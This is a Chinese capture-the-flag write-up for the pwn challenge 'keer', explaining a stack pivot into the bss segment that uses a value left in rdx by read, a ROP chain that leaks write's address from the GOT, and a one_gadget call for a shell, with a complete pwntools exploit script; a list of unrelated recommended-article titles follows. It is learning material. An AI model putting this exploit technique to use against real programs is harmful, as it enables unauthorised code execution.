keer’s bug

之前比赛的时候死脑经了, 想到栈迁移但是不会控制rdx就放弃了, 但是没注意到之前read函数残余在rdx上的参数, 啊啊啊笨死了!
残余参数, 可以看到即使在函数返回的时候依旧在rdx上存有数据:

同时可以看一下在调用read函数之前寄存器做出的相关处理:

在我选定的那一行可以看到是根据rbp来决定s的地址的(应该算基础知识,悲), 所以如果迁移到了bss段上, 那日后写入的地址也就自然会在bss段上了

所以第一次payload只要做到迁移就行了, 但是要注意由于底下不能连续leave;ret, 所以我们要注意不能返回到新的函数开头, 不然会构造新的栈帧, 本题栈迁移就没啥用了

payload1='a'*0x50
payload1+=p64(bss_stage)
payload1+=p64(bread_addr)

然后就是在fake stack上的构造, 由于gdb调试出现了bug(为了不影响阅读, bug会单独放底下说), 于是就手绘了一下fake stack:

比较要注意的就是仨padding和那个-0x58了, 如果好好想想也没啥

payload2=p64(prdi)+p64(1)+p64(prsi_r15)+p64(elf.got['write'])+p64(0)
payload2+=p64(elf.plt['write'])+p64(main_addr)+p64(0)*3
payload2+=p64(bss_stage-0x58)+p64(leave_ret)
sh.send(payload2)

之后就是普普通通跑one_gadget了

EXP:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=process('./keer')
elf=ELF("./keer")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'one_gadget=0xf1207
bss_stage=elf.bss()+0x100
prsi_r15=0x0400671
prdi=0x0400673
bread_addr=0x04005ED
main_addr=0x04005B6
leave_ret=0x040060dpayload1=p64(0)*10
payload1+=p64(bss_stage)
payload1+=p64(bread_addr)
sh.recv()
sh.send(payload1)payload2=p64(prdi)+p64(1)+p64(prsi_r15)+p64(elf.got['write'])+p64(0)+p64(elf.plt['write'])+p64(main_addr)+p64(0)*3+p64(bss_stage-0x58)+p64(leave_ret)
sh.send(payload2)write_addr=u64(sh.recv(8))
libcbase=write_addr-libc.sym['write']
print hex(libcbase)one_gadget+=libcbase
payload3=p64(0)*11+p64(one_gadget)
sh.sendline(payload3)
sh.interactive()

gdb的bug:

在exp中加入gdb.attach()会导致无法接收到write的地址, 完全没有输出, 并且如果查看fake stack的话, 也与输入的payload2不符合, 不知道为啥, 望大佬们解答

2020-11-19学习记录(keer‘s bug与gdb bug)相关推荐

  1. 坦克项目的炮塔旋转BUG记录——Unity随手记(2020.11.19)

    今天解决了一个BUG,写篇博客记录一下. 预先说明,其实这个BUG凭我自己是解决不了的,因为说实话,直到它解决了我也没有搞懂为什么会触发这个BUG.在这里请允许我先挂一下帮助我解决了问题的那个大佬的作 ...

  2. 禁忌搜索算法求解TSP旅行商问题C++(2020.11.19)

    TS算法求解TSP问题C++ 1.禁忌搜索算法 1.1 基本思想及主要特点 1.2 基本概念 1.3 算法流程 2. TS求解TSP问题的C++实现 2.1 输入数据文件:bayg29.tsp 2.2 ...

  3. 计算机组成与体系结构——计算机结构——2020.11.19

    (一)计算机结构在这里插入图片描述 (二)运算器: 算术逻辑单元ALU:数据的算术运算和逻辑运算 累加寄存器AC:通用寄存器,为ALU提供一个工作区,用在暂存数据 数据缓存寄存器DR:写内存中,暂存指 ...

  4. 计算机组成与体系结构——计算机体系结构分类-Flynn——2020.11.19

    (一)Flynn分类: (二)解读: S:单 M:多 I:指令 D:数据 早期的单片机使用的是单处理器系统,现今基本被淘汰 SISM:阵列处理机 MISD:基本上不存在,但有些文献称流水线计算机是此类 ...

  5. spring cloud 2020.0.3 学习记录(四)配置中心config以及bus实现自动配置更新

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.依赖 二.config 1.server端 2.client端 三.cloud bus实现配置自动更新 加入依赖 更新 ...

  6. EXCEL Vlookup 利用if({1,0} 多条件查找 2020.11.19

    {=VLOOKUP(D1&E1,IF({1,0},A:A&B:B,C:C),2,0)} { ...}: 数组公式的标识,通过按Ctrl+Shift+Enter这三个键加上的. 数组模式 ...

  7. [11.7日学习记录]多目标优化和帕累托最优解集(未完成)

    目录 一.多目标优化问题MOP 1.1MOP定义 1.2支配和帕累托最优定义 二.求帕累托最优解集 2.1多目标进化算法MOEA 2.2 粒子群优化算法PSO Reference 一.多目标优化问题M ...

  8. 【记录】饥荒联机版+个人云服务器搭建(2020.6.19)

    [记录]饥荒联机版+个人云服务器搭建(至2020.6.19有效) 写在前面 所需材料 开始做菜! 1.进入属于自己服务器 2.安装依赖 3.安装SteamCMD及Steam客户端 4.安装饥荒联机版服 ...

  9. 深度强化学习(资源篇)(更新于2020.11.22)

    理论 1种策略就能控制多类模型,华人大二学生提出RL泛化方法,LeCun认可转发 | ICML 2020 AlphaGo原来是这样运行的,一文详解多智能体强化学习的基础和应用 [DeepMind总结] ...

  10. QIIME 2教程. 19使用q2-vsearch聚类ASVs为OTUs(2020.11)

    文章目录 使用`q2-vsearch`聚类序列为OTUs 下载数据 序列去冗余 特征[频率]和特征数据[序列]的聚类 无参/从头聚类 有参聚类 半有参/开放参考聚类 译者简介 Reference 猜你 ...

最新文章

  1. 虚函数(virtual)可以是内联函数(inline)吗?
  2. Swift之深入解析构造过程和析构过程
  3. js对html节点的操作
  4. redis-软件安装redis5
  5. Linux系统故障处理案例(一)【转】
  6. (转)ATOM介绍和使用
  7. windows下配置apache和php,Windows系统下Apache和PHP的安装和基本配置
  8. 语音识别哪个软件好,教你三种不同的识别方法
  9. FFMPEG geq与比较函数
  10. mess组网 中继_Mesh路由和无线中继的差距在哪里?谁才是更好的选择?
  11. CentOS 下安装配置mongodb
  12. 快来看!我把小时候最喜欢的连连看游戏源代码拿来了~
  13. Selenium:鼠标、键盘事件
  14. 苹果 ios mdm服务器搭建
  15. meta http-equiv 是什么
  16. 启动3ds Max报 d3dx9_43.dll丢失 解决方法
  17. 名帖97 赵孟頫 小楷《洛神赋》
  18. Thinkphp——hook类行为扩展
  19. 在Ubuntu 上安装和配置Snort 3 NIDS
  20. f2fs学习笔记 - 7. f2fs文件打开

热门文章

  1. 在计算机上格式u盘启动,请问U盘制作成启动盘后插电脑上显示0字节,打不开也无法格式化,提示磁盘写有保护怎么回事?...
  2. C语言程序设计(朱立华 陈可佳)
  3. c语言中用数学库函数求绝对值,c语言中求绝对值数学函数.doc
  4. Sql Server——Sql Server中进行查询操作时提示“对象名无效”
  5. 2304558-25-4,DBCO-PEG2-acid分子量是464.5的小分子PEG试剂带有PEG连接物和DBCO基团
  6. php shopnc.dll,shopnc开发手册-ZX版.doc
  7. Android Studio代码统计插件Statistic
  8. 百度离线地图金字塔瓦片发布
  9. 【那些年,我们一起追的女孩】第十一章
  10. 数据科学猫:数据分析的主要类型、描述性分析、预测性分析与规范性分析